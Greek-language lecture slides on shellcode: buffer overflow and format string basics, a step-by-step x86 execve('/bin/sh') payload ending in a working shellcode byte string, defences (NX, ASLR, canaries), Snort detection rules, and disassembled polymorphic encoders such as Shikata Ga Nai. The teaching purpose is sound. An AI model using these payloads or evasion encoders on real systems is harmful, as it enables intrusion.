Shellcode Techniques OSS Event #5 Τμήμα Πληροφορικής/Πανεπιστήμιο Πειραιά Νίκος Σκαλκώτος
Software vulnerability Επιθέσεις Βασισμένες στα δεδομένα Format String Attack Buffer overflow Attack Format String Attack : Έγινε γνωστή το 1999 Κακή χρήση της printf: printf(foo); αντί για printf(%s, foo); Χρήσιμα tokens: %s, %x, %n
Buffer Overflow Attack Χρησιμοποιείται από την δεκαετία του '80 1988: Morris Worm Buffer Overflow στη sendmail Έθεσε εκτός λειτουργίας το 70% του Internet!!! Έγινε ευρέως γνωστή το 1996 Aleph One Smashing the stack for fun and profit (Phrack) Μερικές φορές ο εντοπισμός είναι πολύ δύσκολος...
Buffer overflow basics Σύμβαση κλήσης (calling convention) func(a,b,c) push dword[c] push dword[b] push dword[a] call _func add esp,12 Πρόλογος & Επίλογος push ebp mov ebp,esp ;function s body pop ebp ret Αντιγραφή χωρίς έλεγχο ορίων σε τοπική μεταβλητή strcpy, memcpy, sprintf, scanf, sscanf, fscanf,...
Shellcode format Shellcode: Exploit για buffer overflow Συνήθως ο επιτιθέμενος προσπαθεί να αποκτήσει Shell Μορφή: Έλκηθρο (Sled ή Sledge) Χρήση NOP Εντολών: 1 byte μέγεθος Opcode 0x90 Payload Κώδικας που προσπαθεί ο επιτιθέμενος να εκτελέσει Νέα Διεύθυνση Επιστροφής
Payload Execve void main() mov eax,0xb { push ebp mov ebx,dword PTR [ebp+8] mov ebp,esp mov ecx,dword PTR [ebp+12] mov edx,dword PTR [ebp+16] char *name[2]; int $0x80 sub esp,0x08 name[0] = /bin/sh ; mov DWORD PTR[ebp-8],0x80a5808 name[1] = NULL; mov DWORD PTR[ebp-4],0x0 execve(name[0], name, NULL); push 0x0 } lea eax,dword PTR[ebp-8] push eax mov eax,dword PTR[ebp-8] push eax call <execve> add esp,0x0c pop ret ebp skalkoto@darkstar:~$ gcc -o shellcode -ggdb\ > -static shellcode.c skalkoto@darkstar:~$ gdb shellcode (gdb) set disassembly-flavor intel (gdb) disassemble main (gdb) disassemble execve
Payload Pseudo code (1) Συμβολοσειρά "/bin/sh" στη μνήμη (2) Διεύθυνση της "/bin/sh" και 0x00 μετά (3) Αντιγραφή του 0xB στον EAX (4) Αντιγραφή της διεύθυνσης της διεύθυνσης του "/bin/sh" στον EBX. (5) Αντιγραφή της διεύθυνσης του "/bin/sh" στον ECX (6) Αντιγραφή της διεύθυνσης του NULL στον EDX (7) Εκτέλεση int $0x80. (8) Αντιγραφή του 0x1 στον EAX (9) Αντιγραφή του 0x0 στον EBX (10) Εκτέλεση int $0x80
getpc jmp/call Η call αποθηκεύει τον EIP στη στοίβα fnstenv Η fnstenv αποθηκεύει το περιβάλλον της FPU στη στοίβα Μέσα στο περιβάλλον υπάρχει και η διεύθυνση της τελευταίας FPU εντολή που εκτελέστηκε jmp L2 L1: pop eax ;eax contains L3... L2: call L1 L3: <fpu command> fnstenv[esp 12] pop eax add al,10 ;eax contains L1 nop L1:
Payload Code jmp L2 L1: pop esi mov DWORD PTR [esi+8],esi mov BYTE PTR [esi+7],0x0 mov DWORD PTR [esi+12],0x0 mov eax,0xb mov ebx,esi lea ecx,[esi+8] lea edx,[esi+12] int 0x80 mov eax,0x1 mov ebx,0x0 int 0x80 L2: call L1.string "/bin/sh" (gdb) x/xb main+5 0x80483f9 <main+5>: (gdb) 0x80483fa <main+6>: (gdb) 0x80483fb <main+7>: (gdb) 0x80483fc <main+8>: (gdb) 0x80483fd <main+9>: (gdb) 0x80483fe <main+10>: (gdb) 0x80483ff <main+11>: (gdb) 0x8048400 <main+12>: (gdb) 0x5e 0x89 0x76 0x08 0xc6 0x46 0x07 0x00 Τα 0x00 είναι πρόβλημα
Final Payload Code jmp before_call after_jmp: pop esi mov DWORD PTR[esi+8],esi xor eax,eax mov BYTE PTR[esi+7],al mov DWORD PTR[esi+12],eax mov al,0xb mov ebx,esi lea ecx,[esi+8] lea edx,[esi+12] int 0x80 xor ebx,ebx mov eax,ebx inc eax int 0x80 before_call: call after_jmp.string /bin/sh (gdb) x/bx main+14 0x8048332 <main+14>: 0xeb (gdb) 0x8048333 <main+15>: 0x1f (gdb) 0x8048334 <main+16>: 0x5e (gdb) 0x8048335 <main+17>: 0x89 (gdb) 0x8048336 <main+18>: 0x76 (gdb)... char shellcode[] = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88 \x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3 \x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31 \xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff \xff\xff/bin/sh ;
Shellcode Protection Απαγόρευση εκτέλεσης κώδικα από τη στοίβα Address Space Layout Randomization (ASLR) Προστασία της διεύθυνσης Επιστροφής
No Execution Bit Το payload βρίσκεται στη στοίβα H SUN έχει ΝΧ bit στην MMU από το 1997 Στους επεξεργαστές για PC μπήκε το 2004 (Athlon64, Opteron) Η απαγόρευση εκτέλεσης κώδικα από τη στοίβα κάνει τη λειτουργία του αρχικού shellcode μη δυνατή. ΛΥΣΗ: return-to-libc attack
Return-to-libc Η libc είναι η βασική βιβλιοθήκη της C Είναι mapped στο address-space όλων των διεργασιών Ανακατεύθυνση της Διεύθυνσης Επιστροφής σε συνάρτηση της libc Κλήση της system( /bin/sh );
Address Space Layout Randomization (ASLR) Οι επιθέσεις βασίζονται στην εύρεση σωστών διευθύνσεων ΙΔΕΑ: Σε κάθε εκτέλεση ο χώρος διευθύνσεων να γίνεται randomize Υλοποιήθηκε πρώτα από το PAX για Linux Πλέον υπάρχει στο Linux πυρήνα, στα Microsoft Vista κ.α. PAX 's Address Randomization: Για executable και mapped segments: 16 bytes Για stack: 24 bytes Λύση: Brute-force Procedure Linkage Table
Return Address Protection Έλεγχο για αλλοίωση της Διεύθυνσης Επιστροφής Εισαγωγή επιπλέον κώδικα στον πρόλογο και επίλογο της συνάρτησης Εφαρμόζεται κατά το compilation Stackshield: Αντιγραφή της Διεύθυνσης Επιστροφής σε άλλη θέση στον πρόλογο και επαναφορά της στον επίλογο StackGuard, SSP, Microsoft.NET: Εισαγωγή ειδικής τιμής στη στοίβα (canary) και έλεγχος της στον επίλογο
canary Το πρώτο αφήνει τα Frame Pointer Overwrite Exploit Απόδοση τιμής στο canary: NULL Canary: 0x00000000 Terminator Canary: 0x000AFF0D (NULL, LF, EOF,CR) Random Canary Xor Canary: RandomCanary XOR ReturnAddress Vulnerable αν υπάρχουν pointers, function pointers Αυξάνει το χρόνο εκτέλεσης
Shellcode Detection Το Βασικό Shellcode ανιχνεύεται εύκολα alert tcp $EXTERNAL_NET any -> $HOME_NET 22 msg:"exploit ssh CRC32 overflow NOOP"; flow:to_server,established; content:" 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 "; alert tcp $EXTERNAL_NET any -> $HOME_NET 22 msg:"exploit ssh CRC32 overflow /bin/sh"; flow:to_server,established; content:"/bin/sh"; Λύση: Πολυμορφισμός & Μεταμορφισμός
Polymorphic Code Πολυμορφικός κώδικας είναι ο κώδικας που μεταλλάσσεται κρατώντας τον αρχικό αλγόριθμο ίδιο. Ξεκίνησε από τα virus Πρώτος Πολυμορφικός Ιός: 1260 ή Chameleon (1990) Mutation Engine (Mte) από τον Dark Avenger Για τα shellcodes πολυμορφισμός σημαίνει κωδικοποίηση (συνήθως XOR) με κάποιο κλειδί
Metamorhic Code Χρήση Διαφορετικών Ισότιμων Εντολών Μετατόπιση τμημάτων του κώδικα Αλλαγή Χρησιμοποιούμενων Καταχωρητών Εισαγωγή JMP για την επαναδιάταξη του κώδικα Non Operetional Pad Instructions
Metamorphic Sled (1) Sled με εντολές 1 byte (όχι απαραίτητα NOP) inc, dec, push, pushf, pusha, wait, ass, xchg, cmc... Sled εντολών με ποικίλα μεγέθη Προσοχή!!! Κίνδυνος να πέσουμε στο μέσω κάποιας εντολής
Metamorphic Sled (2) Ακόμα πιο πολύπλοκα sled Trampoline κ.τ.λ
Polymorphic Engines ADMutate (2002) 1 byte instructions Sled Κωδικοποίηση με XOR Non Operational Pad Instructions CLET Αλλαγή καταχωρητών Εισαγωγή ειδικού πεδίου (cram) για στατιστική ανάλυση Alpha2 Alphanumeric και Unicode Shellcodes Metasploit Framework State Of the Art!!!!!
ADMutate jmp aas aaa pop_pc: mov sub rol push pop xor das fwait dec push pop mov again: xor inc inc inc <before_call> esi,dword PTR [esp] esp,0x4 eax,0x7e 0xb5b22fbd ebx ecx,ecx eax 0xd eax ecx,eax DWORD PTR [esi],ebx edi esi esi inc esi movl eax,es xchg ecx,ecx das inc esi loop <again> not eax mov al,0x5 xor eax,eax movl eax,es xor eax,0xffffffa9 or eax,0x2a jmp <green> inc edi xchg edx,eax before_call: call <pop_pc> 2DC490EB 34DC3B42 3EE8B584 7D853B4C 34DF193C 471E721E 0D27B6B6 70AF836E 34F7F278 3DC76B4A 42D09DC6 D4419DC6 D53D434A
Alpha 2 Aphanumeric Shellcodes Περιέχουν μόνο ΑSCII χαρακτήρες 0-9 (0x30-0x39), A-Z (0x41-0x5a), a-z (0x61-0x7a) Unicode Proof Shellcodes Περιέχουν Unicode χαρακτήρες Υπάρχει και στο metsploit framework Αν στην είσοδο γίνεται γερό φιλτράρισμα strspn, strcspn Βγάζει πάρα πολύ μεγάλα payloads Χρησιμοποιεί συνέχεια inc, dec, push, pop
Metasploit Encoders Countdown Μη σταθερό κλειδί μεγέθους 1 byte Κάνει JMP στο μέσο της εντολής JmpCallAddictive Μη σταθερό κλειδί μεγέθους 4 bytes Χρησιμοποιεί προσθετικό αλγόριθμο για το κλειδί ShikataGaNai Κωδικοποιεί σαν τον JmpCallAddictive GetPC με FPU Instructions Κωδικοποιεί και το βρόχο αποκωδικοποίησης
Countdown Encoder 0000 0002 0003 0007 0009 000A 000E 0010 6A2A push byte +0x2a 59 pop ecx E8FFFFFFFF call 0x7 FFC1 inc ecx 5E pop si 304C0E xor [esi+ecx+07],cl E2FA loop 0xa 6B095B9D 57606F25 6A83EC64 227D6710 793D717D 7B9FF44A F1121B1C 1D317D49 4F0D504C 257174A1 C8E7AB
JmpCallAddictive 0000 0001 0003 0008 0009 000A 000C 000D 000F 0011 0013 0014 0019 FC EB11 cld jmp short 0x14 B9CC2874E7 mov ecx,0xe77428cc 5E pop esi 56 push esi 310E xor [esi],ecx AD 01C1 lodsd add ecx,eax 85C0 test eax,eax 75F7 jnz 0xa C3 E8EAFFFFFF ret call 0x3 A6232C7E 6452A4AD EB13D3C6 C4507417 72B8E67E EC4F05D2 1847CAD3 D877A8BA B6A85F55 46E0CC2C A7C3732E 27DC732F
ShikataGaNai 0000 0005 0007 000B 000C 000E 0010 0013 0016 0019 001B BE2D6203E1 DAC5 D97424F4 5A 31C9 B10C 317212 83C204 035F6C720E E114E2F5 mov esi,0xe103622d fcmovb st5 fnstenv [esp-0xc] pop edx xor ecx,ecx mov cl,0xc xor [edx+0x12],esi add edx,byte +0x4 add ebx,[edi+0x6c] add esi,[edx+0xe] loope 0x2f loop 0x10 F57BBD4F 5B1A555D 386B42F5 9118E506 85F1976F 3B87BB22 2B9F3BC3 AB8F59AA C5E0EE44 19A8431C F89BE41E
Metamorphism in ShikataGaNai mov eax,0xe06d6955 fcmovne st7 fnstenv [esp 0xc] pop edx sub ecx,ecx mov cl,0xc again: add edx,byte +0x4 xor [edx+0xe],eax add eax,[edx+0xe] loop <again> fcmove st5 fnstenv [esp 0xc] pop eax xor ecx,ecx mov cl,0xc mov edx,0x2ee7593 again: xor [eax+0x17],edx add eax,byte +0x4 add edx,[eax+0x13] loop <again> xor ecx,ecx fcmovb st6 mov cl,0xc fnstenv [esp 0xc] mov edi,0xf35e0f78 pop ebx again: xor [ebx+0x15],edi add edi,[ebx+0x15] sub ebx,byte 0x4 loop <again>
THANX! Ερωτήσεις;